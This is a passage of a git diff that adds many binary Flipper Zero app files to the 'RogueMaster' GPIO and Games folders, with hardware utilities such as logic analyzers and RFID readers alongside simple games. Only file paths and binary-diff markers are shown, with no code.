RM)/RogueMaster/GPIO/bmi160_air_mouse.fap new file mode 100644 index 000000000..26a43db11 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap new file mode 100644 index 000000000..beff06d77 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap new file mode 100644 index 000000000..feef4fe54 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap new file mode 100644 index 000000000..7e26ccc19 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap new file mode 100644 index 000000000..6f1689f7c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap new file mode 100644 index 000000000..29ef26f02 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap new file mode 100644 index 000000000..2a28bffa1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap new file mode 100644 index 000000000..d123f61a7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap new file mode 100644 index 000000000..91df78231 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap new file mode 100644 index 000000000..1a04e1eb5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap new file mode 100644 index 000000000..2e5f25815 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap new file mode 100644 index 000000000..8587b58f7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap new file mode 100644 index 000000000..a54106749 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap new file mode 100644 index 000000000..4e89bae81 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap new file mode 100644 index 000000000..c90889c55 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap new file mode 100644 index 000000000..0bcdd9b64 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap new file mode 100644 index 000000000..e342fcf0e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap new file mode 100644 index 000000000..64e9120e6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap new file mode 100644 index 000000000..a5373b1d8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap new file mode 100644 index 000000000..7e982d69e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap new file mode 100644 index 000000000..e7875e151 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap new file mode 100644 index 000000000..f4f02a1d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap new file mode 100644 index 000000000..bf5b995dc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap new file mode 100644 index 000000000..76ce0e05a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap new file mode 100644 index 000000000..2fcf1bc76 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap new file mode 100644 index 000000000..9cbc2ce08 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap new file mode 100644 index 000000000..e1166cd82 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap new file mode 100644 index 000000000..1bd447bfc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap new file mode 100644 index 000000000..c4210abbb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap new file mode 100644 index 000000000..c683cb5b7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap new file mode 100644 index 000000000..fea1a0978 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap new file mode 100644 index 000000000..b8c5ff0bf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap new file mode 100644 index 000000000..d2ebba083 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap new file mode 100644 index 000000000..6446e6aa8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap new file mode 100644 index 000000000..5bd1eba3e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap new file mode 100644 index 000000000..1cf5f8057 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap new file mode 100644 index 000000000..b52e7173c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap new file mode 100644 index 000000000..61935b163 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap new file mode 100644 index 000000000..a39f9dad3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap new file mode 100644 index 000000000..2022b5e4c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap new file mode 100644 index 000000000..1e43dbc78 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap new file mode 100644 index 000000000..13fd2c015 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap new file mode 100644 index 000000000..006e2cae8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap new file mode 100644 index 000000000..a259756ab Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap new file mode 100644 index 000000000..ca76111f8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap new file mode 100644 index 000000000..f957ec547 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap new file mode 100644 index 000000000..0bc2eb948 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap new file mode 100644 index 000000000..442ea29fb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap new file mode 100644 index 000000000..877c805b4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap new file mode 100644 index 000000000..6064d6bed Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap new file mode 100644 index 000000000..61e5509b8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap new file mode 100644 index 000000000..e9290e0a9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap new file mode 100644 index 000000000..c47112ace Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap new file mode 100644 index 000000000..071c2bafe Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap new file mode 100644 index 000000000..573b62a73 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap new file mode 100644 index 000000000..8d9ddf399 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap new file mode 100644 index 000000000..2c3a4f385 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap new file mode 100644 index 000000000..eabf10101 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap new file mode 100644 index 000000000..bdfabcd6d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap new file mode 100644 index 000000000..c5b9d8d17 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap new file mode 100644 index 000000000..e7fba83b0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap new file mode 100644 index 000000000..6c9f84190 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap new file mode 100644 index 000000000..0539e2766 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap new file mode 100644 index 000000000..3298fb078 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap new file mode 100644 index 000000000..9403e5e78 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap new file mode 100644 index 000000000..6d395a231 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap new file mode 100644 index 000000000..2adcff488 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap new file mode 100644 index 000000000..017e1df5a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap new file mode 100644 index 000000000..b3a61f1c0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap new file mode 100644 index 000000000..6190117c8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap new file mode 100644 index 000000000..123048ffd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap new file mode 100644 index 000000000..0cca940a7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap new file mode 100644 index 000000000..f3c28f4e9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap new file mode 100644 index 000000000..40bd108bf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap new file mode 100644 index 000000000..20a1588f0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap new file mode 100644 index 000000000..01f8e47b7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap new file mode 100644 index 000000000..83e981f8c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap new file mode 100644 index 000000000..37b83c2e4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap new file mode 100644 index 000000000..dc7ac881e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap new file mode 100644 index 000000000..a8948fbb7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap new file mode 100644 index 000000000..73983c313 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap new file mode 100644 index 000000000..ac007e101 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap new file mode 100644 index 000000000..97b7d1bff Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap new file mode 100644 index 000000000..84ad6fd76 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap new file mode 100644 index 000000000..30b5f0c79 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap new file mode 100644 index 000000000..ce1e121c6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap new file mode 100644 index 000000000..a4dd03587 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap new file mode 100644 index 000000000..af590e254 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap new file mode 100644 index 000000000..ff0264f2b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap new file mode 100644 index 000000000..66de986a3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap new file mode 100644 index 000000000..7bb00b3ec Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap new file mode 100644 index 000000000..11f01518d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap new file mode 100644 index 000000000..13a7b9bb0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap new file mode 100644 index 000000000..88f7c6521 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap new file mode 100644 index 000000000..5f93343bd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap new file mode 100644 index 000000000..98d010f2a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap new file mode 100644 index 000000000..89200836d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap new file mode 100644 index 000000000..730278430 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap new file mode 100644 index 000000000..a072622bc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap new file mode 100644 index 000000000..8a25c3876 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap new file mode 100644 index 000000000..84c106bd9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap new file mode 100644 index 000000000..bdc260a1f Binary files /dev/null and b/Applications/Custom (UL, 